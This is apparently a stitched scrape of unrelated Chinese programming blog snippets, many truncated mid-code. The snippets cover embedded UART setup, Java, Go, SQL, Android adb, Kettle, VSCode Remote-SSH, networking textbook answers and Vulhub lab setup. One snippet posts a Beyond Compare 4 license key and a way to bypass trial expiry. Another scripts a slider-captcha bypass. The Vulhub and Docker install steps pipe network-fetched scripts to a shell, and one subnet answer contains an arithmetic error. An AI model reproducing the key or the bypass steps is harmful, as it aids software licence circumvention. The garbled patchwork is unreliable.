with open('D:\sample.txt','rb+') as f1: with open('D:\copy.txt','wb+') as f2: f2.write(f1.read())
依次执行如下操作,代码将不做介绍,相信读者自行容易理解
下面介绍几个uart相关寄存器
寄存器PERCFG (0xF1) --外设控制
cc2530共有两个串口,UART0和UART1,两个串口通过寄存器PERCFG的值映射到不同的引脚
如我们需要使用串口1的 P0.4 P0.5,按照如上寄存的的功能,我们需要将PERCFG 第二位拉低
PERCFG &= ~HAL_UART_PERCFG_BIT;
其定义在HAL_UART_PERCFG_BIT 在_hal_uart_dma.c中
具体代码操作如下:
1、在Option for node "GenericApp"中将宏定义ZTOOL_P1->ZTOOL_P2
2、修改_hal_uart_dma.c的内容
#if (HAL_UART_DMA == 1) PERCFG &= ~HAL_UART_PERCFG_BIT; // Set UART0 I/O to Alt. 1 location on P0. #else PERCFG &= ~HAL_UART_PERCFG_BIT; // Set UART1 I/O to Alt. 2 location on P1. #endif PxSEL |= HAL_UART_Px_RX_TX; // Enable Tx and Rx on P1. ADCCFG &= ~HAL_UART_Px_RX_TX; // Make sure ADC doesnt use this.
eclipse连接数据库失败
Caused by: com.mysql.cj.exceptions.CJException: Unknown database 'test'
首先检查这个数据库是否存在,jdbcurl填写是否正确,mysql是否启动。
电脑有些人是安装了安装版的mysql和绿色版的mysql,两个端口是否冲突。
绿色版的mysql是否启动了?
我的问题是:
禅道占用了3306端口,我是安装的绿色版,内部冲突没有报错,但是连接不上。
我把禅道的服务关闭后,连接正常,启动后出现问题。
修改端口就能解决问题。
原文博客地址: pjmike的博客
前言 一直以来都在使用MyBatis做持久化框架,也知道当我们定义XXXMapper接口类并利用它来做CRUD操作时,Mybatis是利用了动态代理的技术帮我们生成代理类。那么动态代理内部的实现细节到底是怎么的呀?XXXMapper.java类和XXXMapper.xml到底是如何关联起来的呀?本篇文章就来详细剖析下MyBatis的动态代理的具体实现机制。
MyBatis的核心组件及应用 在详细探究MyBatis中动态代理机制之前,先来补充一下基础知识,认识一下MyBatis的核心组件。
SqlSessionFactoryBuilder(构造器): 它可以从XML、注解或者手动配置Java代码来创建SqlSessionFactory。SqlSessionFactory: 用于创建SqlSession (会话) 的工厂SqlSession: SqlSession是Mybatis最核心的类,可以用于执行语句、提交或回滚事务以及获取映射器Mapper的接口SQL Mapper: 它是由一个Java接口和XML文件(或注解)构成的,需要给出对应的SQL和映射规则,它负责发送SQL去执行,并返回结果 注意: 现在我们使用Mybatis,一般都是和Spring框架整合在一起使用,这种情况下,SqlSession将被Spring框架所创建,所以往往不需要我们使用SqlSessionFactoryBuilder或者SqlSessionFactory去创建SqlSession
下面展示一下如何使用MyBatis的这些组件,或者如何快速使用MyBatis:
数据库表 CREATE TABLE user( id int, name VARCHAR(255) not NULL , age int , PRIMARY KEY (id) )ENGINE =INNODB DEFAULT CHARSET=utf8; 复制代码 声明一个User类 @Data public class User { private int id; private int age; private String name; @Override public String toString() { return "User{" + "id=" + id + ", age=" + age + "
概述 在 adb shell 中,您可以使用 Activity Manager (am) 工具发出命令以执行各种系统操作,如启动 Activity、强行停止进程、广播 intent、修改设备屏幕属性及其他操作。在 shell 中,此语法为:
am <command> 您也可以直接从 adb 发出 Activity Manager 命令,无需进入远程 shell。例如:
adb shell am start -a android.intent.action.VIEW 可用的 am 命令:
usage: am [subcommand] [options] usage: am start [-D] [-N] [-W] [-P <FILE>] [--start-profiler <FILE>] [--sampling INTERVAL] [-R COUNT] [-S] [--track-allocation] [--user <USER_ID> | current] <INTENT> am startservice [--user <USER_ID> | current] <INTENT> am stopservice [--user <USER_ID> | current] <INTENT> am force-stop [--user <USER_ID> | all | current] <PACKAGE> am kill [--user <USER_ID> | all | current] <PACKAGE> am kill-all am broadcast [--user <USER_ID> | all | current] <INTENT> am instrument [-r] [-e <NAME> <VALUE>] [-p <FILE>] [-w] [--user <USER_ID> | current] [--no-window-animation] [--abi <ABI>] <COMPONENT> am profile start [--user <USER_ID> current] [--sampling INTERVAL] <PROCESS> <FILE> am profile stop [--user <USER_ID> current] [<PROCESS>] am dumpheap [--user <USER_ID> current] [-n] <PROCESS> <FILE> am set-debug-app [-w] [--persistent] <PACKAGE> am clear-debug-app am set-watch-heap <PROCESS> <MEM-LIMIT> am clear-watch-heap am bug-report [--progress] am monitor [--gdb <port>] am hang [--allow-restart] am restart am idle-maintenance am screen-compat [on|off] <PACKAGE> am package-importance <PACKAGE> am to-uri [INTENT] am to-intent-uri [INTENT] am to-app-uri [INTENT] am switch-user <USER_ID> am start-user <USER_ID> am unlock-user <USER_ID> [TOKEN_HEX] am stop-user [-w] [-f] <USER_ID> am stack start <DISPLAY_ID> <INTENT> am stack movetask <TASK_ID> <STACK_ID> [true|false] am stack resize <STACK_ID> <LEFT,TOP,RIGHT,BOTTOM> am stack resize-animated <STACK_ID> <LEFT,TOP,RIGHT,BOTTOM> am stack resize-docked-stack <LEFT,TOP,RIGHT,BOTTOM> [<TASK_LEFT,TASK_TOP,TASK_RIGHT,TASK_BOTTOM>] am stack size-docked-stack-test: <STEP_SIZE> <l|t|r|b> [DELAY_MS] am stack move-top-activity-to-pinned-stack: <STACK_ID> <LEFT,TOP,RIGHT,BOTTOM> am stack positiontask <TASK_ID> <STACK_ID> <POSITION> am stack list am stack info <STACK_ID> am stack remove <STACK_ID> am task lock <TASK_ID> am task lock stop am task resizeable <TASK_ID> [0 (unresizeable) | 1 (crop_windows) | 2 (resizeable) | 3 (resizeable_and_pipable)] am task resize <TASK_ID> <LEFT,TOP,RIGHT,BOTTOM> am task drag-task-test <TASK_ID> <STEP_SIZE> [DELAY_MS] am task size-task-test <TASK_ID> <STEP_SIZE> [DELAY_MS] am get-config am suppress-resize-config-changes <true|false> am set-inactive [--user <USER_ID>] <PACKAGE> true|false am get-inactive [--user <USER_ID>] <PACKAGE> am send-trim-memory [--user <USER_ID>] <PROCESS> [HIDDEN|RUNNING_MODERATE|BACKGROUND|RUNNING_LOW|MODERATE|RUNNING_CRITICAL|COMPLETE] am get-current-user am start: start an Activity.
使用从客户端传过来的HttpServletRequest request获得客户端与服务器的相关信息。
import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; import java.security.Principal; import java.util.Locale; public class haunJingServlet extends HttpServlet { // 返回客户端浏览器接受的文件类型 private String getAccept(String accept){ StringBuffer buffer = new StringBuffer(); if(accept.contains("image/gif")){ buffer.append("Gif文件,"); } if(accept.contains("image/x-xbitmap")){ buffer.append("BMP文件,"); } if(accept.contains("iamge/jpeg")){ buffer.append("JPG文件,"); } if(accept.contains("application/vnd.ms-excle")){ buffer.append("Excle文件,"); } if(accept.contains("application/vnd.ms-powerpoint")){ buffer.append("PPT文件,"); } if(accept.contains("application/msword")){ buffer.append("Word文件,"); } return buffer.toString().replaceAll(",$",""); } // 返回客户端语言环境 private String getLocale(Locale locale){ if(Locale.SIMPLIFIED_CHINESE.equals(locale)){ return "简体中文"; } if(Locale.TRADITIONAL_CHINESE.equals(locale)){ return "繁体中文"; } if(Locale.
golang WebDav服务 golang官方提供了webdav服务包,但是,功能比较有限,这里主要针对一个端口,多目录做解释
普通WebDav服务 package main import ( "net/http" "golang.org/x/net/webdav" ) func main() { http.ListenAndServe(":8080", &webdav.Handler{ FileSystem: webdav.Dir("."), LockSystem: webdav.NewMemLS(), }) } 一个端口共享多用户/多目录 package main import ( "fmt" "golang.org/x/net/webdav" "log" "net/http" "strings" ) func Dav_Load() { s_mux := http.NewServeMux(); fs := &webdav.Handler{ Prefix: "/dav/", FileSystem: webdav.Dir("F:/"), LockSystem: webdav.NewMemLS(), } fs2 := &webdav.Handler{ Prefix: "/dav2/", FileSystem: webdav.Dir("E:/"), LockSystem: webdav.NewMemLS(), } s_mux.HandleFunc("/", func(w http.ResponseWriter, req *http.Request) { //log.Println(req.RequestURI) // 获取用户名/密码 username, password, ok := req.
前言 项目碰到了不能读logback配置文件,因为配置文件是第一次启动读的,然后我程序运行时要动态写。
比如这种场景:根据不同的业务id,生成不同的日志文件。
因为动态场景,无法写配置文件,我们只能通过调用自己输出,然后自己输出还得写文件,为什么不借助logback的api去写文件呢?毕竟别人开源的代码比我们牛逼!
写代码之前,从官网看一下logback工作原理(为了让你们感觉我是看懂了原理图,手撸出来的代码),然后当然是看不懂的!233。
还是看我的代码实现吧!
实现 新建一个类LoggerBuilder.class
package com.hyperdai.DcServer.utils; import ch.qos.logback.classic.Logger; import ch.qos.logback.classic.LoggerContext; import ch.qos.logback.classic.encoder.PatternLayoutEncoder; import ch.qos.logback.core.ConsoleAppender; import ch.qos.logback.core.rolling.RollingFileAppender; import ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy; import ch.qos.logback.core.util.FileSize; import ch.qos.logback.core.util.OptionHelper; import org.slf4j.LoggerFactory; import java.text.DateFormat; import java.util.HashMap; import java.util.Locale; import java.util.Map; /** * author hyperdai * create 2019-04-08 17:10 */ public class LoggerBuilder { private static final Map<String,Logger> container = new HashMap<>(); private static final String LOG_PATH = "/Users/hyperdai/Projects/java_dcserver/water/midas"; public Logger getLogger(String name) { Logger logger = container.
SqlServer语法(一) 来介绍几种SqlServer语法:
1、CASE WHEN THEN END用法
(1)基础版–不加参数
(2)高级版–加参数
按照个人想到的语法解释就是:case后面跟随的是传入的值,when是定义当传入的值为某某的时候 then才输出具体为某某。
2、charindx截取字符串用法
(1)基础版
(2)加上一个left或者right
(3)加上一个left或者right的后面-1
按照个人的语法解释是:在charindex括号里面,内容分为两部分,逗号前面一部分需要检测的内容重点部分提取,后面是检测的内容,在查询时,charindex会把前面括号里的内容放在逗号后面内容进行检索,输出的值就是检索的位置。
3、DATETIME用法
该理解的语法都在上面,有需要可以百度更多
Python爬虫滑块验证 滑块验证网址:http://www.cnbaowen.net/api/geetest/
from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait # 等待元素加载的 from selenium.webdriver.common.action_chains import ActionChains #拖拽 from selenium.webdriver.support import expected_conditions as EC #等待查找 from selenium.common.exceptions import TimeoutException, NoSuchElementException #错误 from selenium.webdriver.common.by import By #标签查找 from PIL import Image #处理图片 import requests #处理网络请求 import time import re #正则 import random #随机数 from io import BytesIO import os def merge_image(image_file,location_list): """ 拼接图片 :param image_file: :param location_list: :return: """ im = Image.
一、需求
使用kettle将源库多张表批量同步到目标库。
二、设计
整体设计流程如下:
1、在数据开始同步前,在目标库中的日志表记录数据同步开始时间;
2、将所有需要同步的表名放在目标库的一张表中,在kettle中读取这些表名;
3、循环读取每一个表名,进行表数据同步;
4、所有表同步完成后,更新日志表的结束时间。
整个job如下:
下面再详细看看job里的每个组件:
1、trans_begin
组件:General->Transformation
功能:更新日志表里数据同步开始时间。
配置如下:
2、trans_youxin_tablename
组件:General->Transformation
功能:读取所有要同步的表名。
2.1 Table input
组件:Input->Table input
功能:目标库有一张表存放所有要同步的表名,读取这张表记录。(表里面有两个字段:序列号SEQ_NO、表名TABLE_NAME,序列号从1开始递增)
2.2 Select values
组件:Transform->Select values
功能:获取所有表名。
2.3 Copy rows to result
组件:Utility->Clone row
功能:将表名放到结果集。
3、variable_set
组件:Scripting->JavaScript
功能:设置变量。
内容如下:
var prevRow=previous_result.getRows(); if (prevRow == null &&(prevRow.size()=0)) { false; }else{ parent_job.setVariable("tables", prevRow); parent_job.setVariable("size", prevRow.size()); parent_job.setVariable("i", 0); parent_job.setVariable("tablename", prevRow.get(0).getString("TABLE_NAME","")); true; } 4、 variable_loop
组件:Conditions->simple evaluation
功能:循环读取每个表名。
5、trans_youxin_data
组件:General->Transformation
功能:将源表同步到目标表。
import numpy as np import matplotlib.pyplot as plt import scipy.stats as sts if __name__ == '__main__': a = 0.031 / 10000 + 0.0337 / 10000 print(0.0336 * 100 / np.sqrt(a)) # 1320.95 r = sts.lognorm.rvs(0.954, size=1000) c = plt.hist(r, bins=500) plt.show() # 双对数坐标下 fig, ax = plt.subplots() ax.set_xscale("log") ax.set_yscale("log") ax.set_adjustable("datalim") ax.plot(c[1][:-1], c[0], 'o') ax.set_xlim(1e-1, 1e6) ax.set_ylim(1e-2, 1e6) ax.grid() plt.draw() plt.show() # 半对数坐标 fig1, ax1 = plt.subplots() ax1.hist(r, bins=500) ax1.set_xscale("log") ax1.
各种坑 : 没有那个文件或目录in/sh because行位换行符的不一致所造成的,你在windows下编辑过的文件在linux下打开看的时候每一行的结尾就会多出来一个字符\r
windos 行尾 \r\n
linux 行尾 \n
^M 就是 \r,回车符号
so 找不到…
网上找了各种办法,编辑文件 :set ff=unix
不知道怎么保存…
很尴尬
打开命令 cat -A 文件名 查看结果如下
首先看一个正常的
接下来看一下Windows下编辑过的文件用此命令打开之后的样式
对比之后你就发现多出来了很多的内容
M-oM-;M-?
M-oM-;M-? ... ^M 补充:找到解决的方法了
解决方法如下:
[root@emm emm]#vi start.sh 然后直接输入 :set ff=unix 然后直接按 enter键 然后直接按 Esc键 然后直接输入 :wq 然后直接按 enter键 保存退出 完美解决~
var myDate = new Date();//获取系统当前时间
1 myDate.getYear(); //获取当前年份(2位) 2 myDate.getFullYear(); //获取完整的年份(4位,1970-????) 3 myDate.getMonth(); //获取当前月份(0-11,0代表1月) 4 myDate.getDate(); //获取当前日(1-31) 5 myDate.getDay(); //获取当前星期X(0-6,0代表星期天) 6 myDate.getTime(); //获取当前时间(从1970.1.1开始的毫秒数) 7 myDate.getHours(); //获取当前小时数(0-23) 8 myDate.getMinutes(); //获取当前分钟数(0-59) 9 myDate.getSeconds(); //获取当前秒数(0-59) 10 myDate.getMilliseconds(); //获取当前毫秒数(0-999) 11 myDate.toLocaleDateString(); //获取当前日期 12 var mytime=myDate.toLocaleTimeString(); //获取当前时间 13 myDate.toLocaleString( ); //获取日期与时间 14 new Date(year, month, 0).getDate();// 获取某月的具体有几天
为什么要使用VSCode:Remote-SSH 服务器很多时候都是部署在Linux远程机器上的,我们通常是SSH连过去然后用vim或者emacs去修改源文件。
这种方式对我来说很麻烦,因为我已经习惯了全宇宙最好用的C++IDE Visual Studio,离开IDE写代码实在太痛苦了。
所以我只能借助samba+sourceinsight的组合来勉强度日。这个组合其实是比较好的,只不过配置特别麻烦,实在是不想折腾。
这时,微软开发了一个VSCode的插件Remote-SSH,可以说是目前比较完美的解决了在windows下开发linux程序的问题。
Remote-SSH配置简单,界面可视化,你可以把他看做是带IDE的Putty。当然你也可以只把他当做一个远程ssh的连接工具来代替putty,xshell。
配置 1.安装 目前Remote-SSH这个插件仅支持VSCode的Insider版本(2019.5.8),所以你需要下载VSCode的Insider版本然后直接在扩展搜索Remote-SSH即可。
选择Remote-SSH下载即可。
安装完毕后侧边栏会出现新的图标:
(注意这里安装完后你们不会有AliServer这个Item,这是我配置完毕后的一个截图)
2.配置 Remote-SSH非常简单。
首先使用快捷键Ctrl+P打开活动栏:
搜索Remote-SSH,点选Connect to Host选项
接着会弹出:
让你选择config文件放在哪里,回车即可新建并编辑config文件。
config文件必须放到被授权的rsa秘钥所在的文件目录,可以看到我这个目录下的文件是这样的:
config文件是Remote-SSH的配置文件,表示我们将使用这个文件夹下的rsa秘钥文件去登录远程服务器。
注意: Remote-SSH只提供使用RSA秘钥远程登录,所以你必须将该本机的rsa公钥添加到远程服务器,这一步并不麻烦,可以看我的这篇博文https://blog.csdn.net/sixdaycoder/article/details/89850064有详细教程。 config文件配置项如下:
Host AliServer HostName 1.1.1.1 # 填写远程服务器的IP或者Host User username # 填写登陆远程服务器的用户的名字 你没看错,只有三行,非常简单。
3.连接 配置完毕后,在Remote-SSH中会出现新的名为AliServer的条目。
点击右边的按钮即可连接在新窗口中打开远程连接。
如果配置正确,会打开一个新的窗口,显示如下:
成功连接后Opening Remote状态会更改:
4.使用 在新窗口可以在菜单栏使用File->Open Folder,然后就会弹出以下窗口:
输入目录即可打开到侧边栏,然后就可以像是在本地开发一样更改远程的源文件,编译,调试。
或者呼出终端,当做一个带UI的Shell使用也可。
Java页面到后台中文乱码处理 js代码:
//js中文转码,通过url传递参数,将含中文的数据进行转码 //获取待转码的内容 var username = $.trim($("#username").val()); //定义转码后的内容 var encodeUsername = ""; if (username){ //通过两次 encodeURI() 方法进行转码 encodeUsername = encodeURI(encodeURI(username)); } //访问后台方法并将转码后的参数传入到后台(参数名为username) //例子: window.location.href = "http://localhost:8080/demo/login?username=" + encodeUsername ; Java后台处理方法中代码:
//获取页面参数username String username = getRequest().getParameter("username"); //判断内容是否为空,使用URLDecoder.decode(username , "UTF-8");进行解码 if (!StringUtils.isEmpty(username)){ username = URLDecoder.decode(username , "UTF-8"); } 下载文件浏览器文件名中文乱码问题 项目中使用struts2 , 下面给出代码:
action配置文件:
<!-- 下载文件 --> <action name="downloadFile" class="com.action.FileAction" > <result type="stream"> <param name="contentType">application/octet-stream</param> <!-- inputName要与action中方法对应去掉 get --> <param name="inputName">cadFile</param> <param name="
1、该博主的Beyond Compare 4秘钥,激活码,注册码确实有用,推广下,20190329试用成功
https://blog.csdn.net/weixin_39424913/article/details/85063153#commentBox
2、附带介绍下秘钥Beyond Compare 4输入框闪退问题:
删除安装目录下的BCUnrar.dll,然后可以在 帮助-输入秘钥弹出秘钥框
3、如果Beyond Compare 4已经过期,无法打开的激活界面方法
修改一下下边文件内容为空就可以打开了
C:\Users\用户\AppData\Roaming\BeyondCompare\BeyondCompare419.ini
— BEGIN LICENSE KEY —
H1bJTd2SauPv5Garuaq0Ig43uqq5NJOEw94wxdZTpU-pFB9GmyPk677gJ
vC1Ro6sbAvKR4pVwtxdCfuoZDb6hJ5bVQKqlfihJfSYZt-xVrVU27+0Ja
hFbqTmYskatMTgPyjvv99CF2Te8ec+Ys2SPxyZAF0YwOCNOWmsyqN5y9t
q2Kw2pjoiDs5gIH-uw5U49JzOB6otS7kThBJE-H9A76u4uUvR8DKb+VcB
rWu5qSJGEnbsXNfJdq5L2D8QgRdV-sXHp2A-7j1X2n4WIISvU1V9koIyS
NisHFBTcWJS0sC5BTFwrtfLEE9lEwz2bxHQpWJiu12ZeKpi+7oUSqebX+
— END LICENSE KEY —–
https://www.cnblogs.com/huche123/p/11119051.html 作者:秦时明月之君临天下
来源:CSDN
原文:https://blog.csdn.net/weixin_41287260/article/details/88927174
版权声明:本文为博主原创文章,转载请附上博文链接!
4-1.网络层向上提供的服务有哪两种?试比较其优缺点。
答:网络层向运输层提供面向连接 ”虚电路( VirtualCircuit )服务或 “无连接 ”数据报服务前者预约了双方通信所需的一切网络资源。优点是能提供服务质量的承诺。即所传送的分组不出错、丢失、重复和失序(不按序列到达终点),也保证分组传送的时限,缺点是路由器复杂,网络成本高;后者无网络资源障碍,尽力而为,优缺点与前者互易。
4-2.网络互连有何实际意义?进行网络互连时,有哪些共同的问题需要解决?
答:网络互联可扩大用户共享资源范围和更大的通信区域
进行网络互连时,需要解决共同的问题有:
不同的寻址方案不同的最大分组长度不同的网络接入机制不同的超时控制不同的差错恢复方法不同的状态报告方法不同的路由选择技术不同的用户接入控制不同的服务(面向连接服务和无连接服务)不同的管理与控制方式 4-3.作为中间设备,转发器、网桥、路由器和网关有何区别?
答:
中间设备又称为中间系统或中继(relay)系统。物理层中继系统:转发器(repeater)。数据链路层中继系统:网桥或桥接器(bridge)。网络层中继系统:路由器(router)。网桥和路由器的混合物:桥路器(brouter)。网络层以上的中继系统:网关(gateway)。 4-4.试简单说明下列协议的作用:IP、ARP、RARP和ICMP。
答:
IP协议:实现网络互连。使参与互连的性能各异的网络从用户看起来好像是一个统一的网络。网际协议IP是TCP/IP体系中两个最主要的协议之一,与IP协议配套使用的还有四个协议。ARP协议:是解决同一个局域网上的主机或路由器的IP地址和硬件地址的映射问题。RARP:是解决同一个局域网上的主机或路由器的硬件地址和IP地址的映射问题。ICMP:提供差错报告和询问报文,以提高IP数据交付成功的机会因特网组管理协议IGMP:用于探寻、转发本局域网内的组成员关系。 4-5.IP地址分为几类?各如何表示?IP地址的主要特点是什么?
答:分为ABCDE 5类;每一类地址都由两个固定长度的字段组成,其中一个字段是网络号 net-id,它标志主机(或路由器)所连接到的网络,而另一个字段则是主机号 host-id,它标志该主机(或路由器)。各类地址的网络号字段net-id分别为1,2,3,0,0字节;主机号字段host-id分别为3字节、2字节、1字节、4字节、4字节。
特点:
(1)IP 地址是一种分等级的地址结构。分两个等级的好处是:
第一,IP 地址管理机构在分配 IP地址时只分配网络号,而剩下的主机号则由得到该网络号的单位自行分配。这样就方便了 IP 地址的管理。第二,路由器仅根据目的主机所连接的网络号来转发分组(而不考虑目的主机号),这样就可以使路由表中的项目数大幅度减少,从而减小了路由表所占的存储空间。
(2)实际上 IP 地址是标志一个主机(或路由器)和一条链路的接口。当一个主机同时连接到两个网络上时,该主机就必须同时具有两个相应的 IP 地址,其网络号net-id 必须是不同的。这种主机称为多归属主机(multihomed host)。由于一个路由器至少应当连接到两个网络(这样它才能将 IP 数据报从一个网络转发到另一个网络),因此一个路由器至少应当有两个不同的 IP 地址。
(3) 用转发器或网桥连接起来的若干个局域网仍为一个网络,因此这些局域网都具有同样的网络号 net-id。
(4) 所有分配到网络号 net-id 的网络,范围很小的局域网,还是可能覆盖很大地理范围的广域网,都是平等的。
4-6.试根据IP地址的规定,计算出表4-2中的各项数据。
答:
4-7.试说明IP地址与硬件地址的区别,为什么要使用这两种不同的地址?
答:
IP 地址就是给每个连接在因特网上的主机(或路由器)分配一个在全世界范围是唯一的 32 位的标识符。从而把整个因特网看成为一个单一的、抽象的网络在实际网络的链路上传送数据帧时,最终还是必须使用硬件地址。MAC地址在一定程度上与硬件一致,基于物理、能够标识具体的链路通信对象、IP地址给予逻辑域的划分、不受硬件限制。 4-8.IP地址方案与我国的电话号码体制的主要不同点是什么?
答:于网络的地理分布无关(如果开始以地理分布划分,一定程度上能减少路由表的划分。。。)
4-9.(1)子网掩码为255.255.255.0代表什么意思?
有三种含义
其一是一个A类网的子网掩码,对于A类网络的IP地址,前8位表示网络号,后24位表示主机号,使用子网掩码255.255.255.0表示前8位为网络号,中间16位用于子网段的划分,最后8位为主机号。第二种情况为一个B类网,对于B类网络的IP地址,前16位表示网络号,后16位表示主机号,使用子网掩码255.255.255.0表示前16位为网络号,中间8位用于子网段的划分,最后8位为主机号。第三种情况为一个C类网,这个子网掩码为C类网的默认子网掩码。 (2)一网络的现在掩码为255.255.255.248,问该网络能够连接多少个主机?
255.255.255.248即11111111.11111111.11111111.11111000. 每一个子网上的主机为(2^3)=6台 掩码位数29,该网络能够连接8个主机,扣除全1和全0后为6台。
(3)一A类网络和一B网络的子网号subnet-id分别为16个1和8个1,问这两个子网掩码有何不同?
A类网络:11111111 11111111 11111111 00000000,给定子网号(16位“1”)则子网掩码为255.
题目描述: 设计一个内存分配模拟程序。假定在计算机系统作业后备队列中有六个等待调度运行的作业,参与分配的内存大小为32KB,采用简单页式管理,每个页帧的大小为1KB。根据要求进行内存的分配和回收。要求打印内存分配表。有关作业的组织和作业有关参数的设置请自行设计,要大致符合实际情况。 效果演示图:
1.测试数据
作业信息 作业序号作业大小作业完成所需时间使用何种颜色表示该作业 1154 黄色
213 红色 322 绿色
4181 橙色
5102 蓝色
6113红色 2.效果图:(传不了.mp4,暴风哭泣)
代码: Block类:
一共有32个页帧,一个格子代表一个页帧 package PageStorageManagement3; import java.awt.Color; import javax.swing.Spring; public class Block { //格子编号 public int number; //初始颜色。白色 public Color c=Color.white; //初始状态。空闲 public String stateblock="free"; } JobMessage类:
每个作业的信息
package PageStorageManagement3; import java.awt.Color; import javax.swing.Spring; public class JobMessage { public JobMessage(int id2, int saneed, int i,int coc) { this.id=id2; size=saneed; this.needtime=i; if(coc==1) color=Color.
怎么设置Linux系统中文语言,这是很多小伙伴在开始使用Linux的时候,都会遇到一个问题,就是终端输入命令回显的时候中文显示乱码。出现这个情况一般是由于没有安装中文语言包,或者设置的默认语言有问题导致的。以centos为例,操作Linux怎么查看语言,设置修改语言
1.查看当前系统语言
登陆linux系统打开操作终端之后,输入 echo $LANG可以查看当前使用的系统语言。
2.查看安装的语言包
查看是否有中文语言包可以在终端输入 locale命令,如有zh cn 表示已经安装了中文语言
3.如果没有中文语言呢
可以通过网上下载安装中文语言包yum groupinstall chinese-support
安装完后
输入locale命令
4.如何修改系统语言为中文
1 临时更换语言
如果只是临时更换linux系统的语言环境,可以通过输入设置 LANG=语言名称, 如中文是 zh_CN.UTF-8
2.修改系统默认语言
以上方法是通过修改设置系统默认的语言配置
如vi /etc/sysconfig/i18n (注意改好之后重启一下系统)
5.其他注意事项
如果按照以上方法设置修改设置中文语言还是不行的话,注意您的链接终端选择的编码。
如xshell为例,把终端的编码选择中文,或者UTF8即可
1、注册阿里云账号,并开通云短信服务
开通短信服务时免费的,但是发短信需要从点钱,短信收费可以按发送条数收费
2、充值
3、申请短信签名
4、申请短信模板
5、创建AccessKey,这是很重要,是程序调用短信api接口的凭证
可以查看接入文档
6、代码开发调用接口
(1)创建springboot gradle工程
(2)导入jar包
(jar可以去官网下载,代码官网上面也有)2个jar包,一个aliyun-java-sdk-core包,另外一个是alicom-dysms-api包。
plugins { id 'org.springframework.boot' version '2.0.4.RELEASE' id 'java' } apply plugin: 'io.spring.dependency-management' group = 'com.aliyun' version = '0.0.1-SNAPSHOT' sourceCompatibility = '1.8' repositories { mavenCentral() } dependencies { implementation 'org.springframework.boot:spring-boot-starter-web' testImplementation 'org.springframework.boot:spring-boot-starter-test' compile "com.aliyun:aliyun-java-sdk-core:4.0.8", "com.aliyun:aliyun-java-sdk-dysmsapi:1.1.0", "com.google.code.gson:gson:2.8.4", "com.alibaba:fastjson:1.2.45" } (3)java api
(4)工程项目中添加短信发送工具类AliyunSmsUtil 代码如下:
package com.aliyun.aliyunsms.util; import com.alibaba.fastjson.JSON; import com.aliyuncs.DefaultAcsClient; import com.aliyuncs.IAcsClient; import com.aliyuncs.dysmsapi.model.v20170525.QuerySendDetailsRequest; import com.aliyuncs.dysmsapi.model.v20170525.QuerySendDetailsResponse; import com.aliyuncs.dysmsapi.model.v20170525.SendSmsRequest; import com.aliyuncs.dysmsapi.model.v20170525.SendSmsResponse; import com.
介绍 Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
建议安装在云服务器上,腾讯云、阿里云、或者国外的服务器上,这些环境不需要vps即可快速安装好环境,本地搭建需要vps支持,或者下载整个源码。由于第一次使用漏洞环境是在线下载并编译,所以最好使用云服务器或者vps代理,保证下载速度。
安装方法 自己搭建的环境是ubuntu 16.04
一键安装docker
curl -s https://get.docker.com/ | sh
或者使用linux自带的安装源安装
sudo apt install docker.io
以上是两种方法来安装docker
启动服务
service start docker
安装docker-compose
pip install docker-compose
没有pip 建议先安装pip (python3可选)
curl -s https://bootstrap.pypa.io/get-pip.py | python
以上两种方法安装docker-compose
下载资源包 之后我们就可以去下载搭建漏洞的资源包了
git clone https://github.com/vulhub/vulhub.git
直接下载地址:https://github.com/vulhub/vulhub/archive/master.zip
下载完成进到相应漏洞环境的目录中
两条命令都可以
docker-compose up -d (推荐)
docker-compose build
docker-compose up -d运行后,会自动查找当前目录下的配置文件。如果配置文件中包含的环境均已经存在,则不会再次编译;如果配置文件中包含的环境不存在,则会自动进行编译。
所以,其实docker-compose up -d命令是包含了 docker-compose build的。
如果更新了配置文件,你可以手工执行 docker-compose build来重新编译靶场环境
结束服务
docker-compose down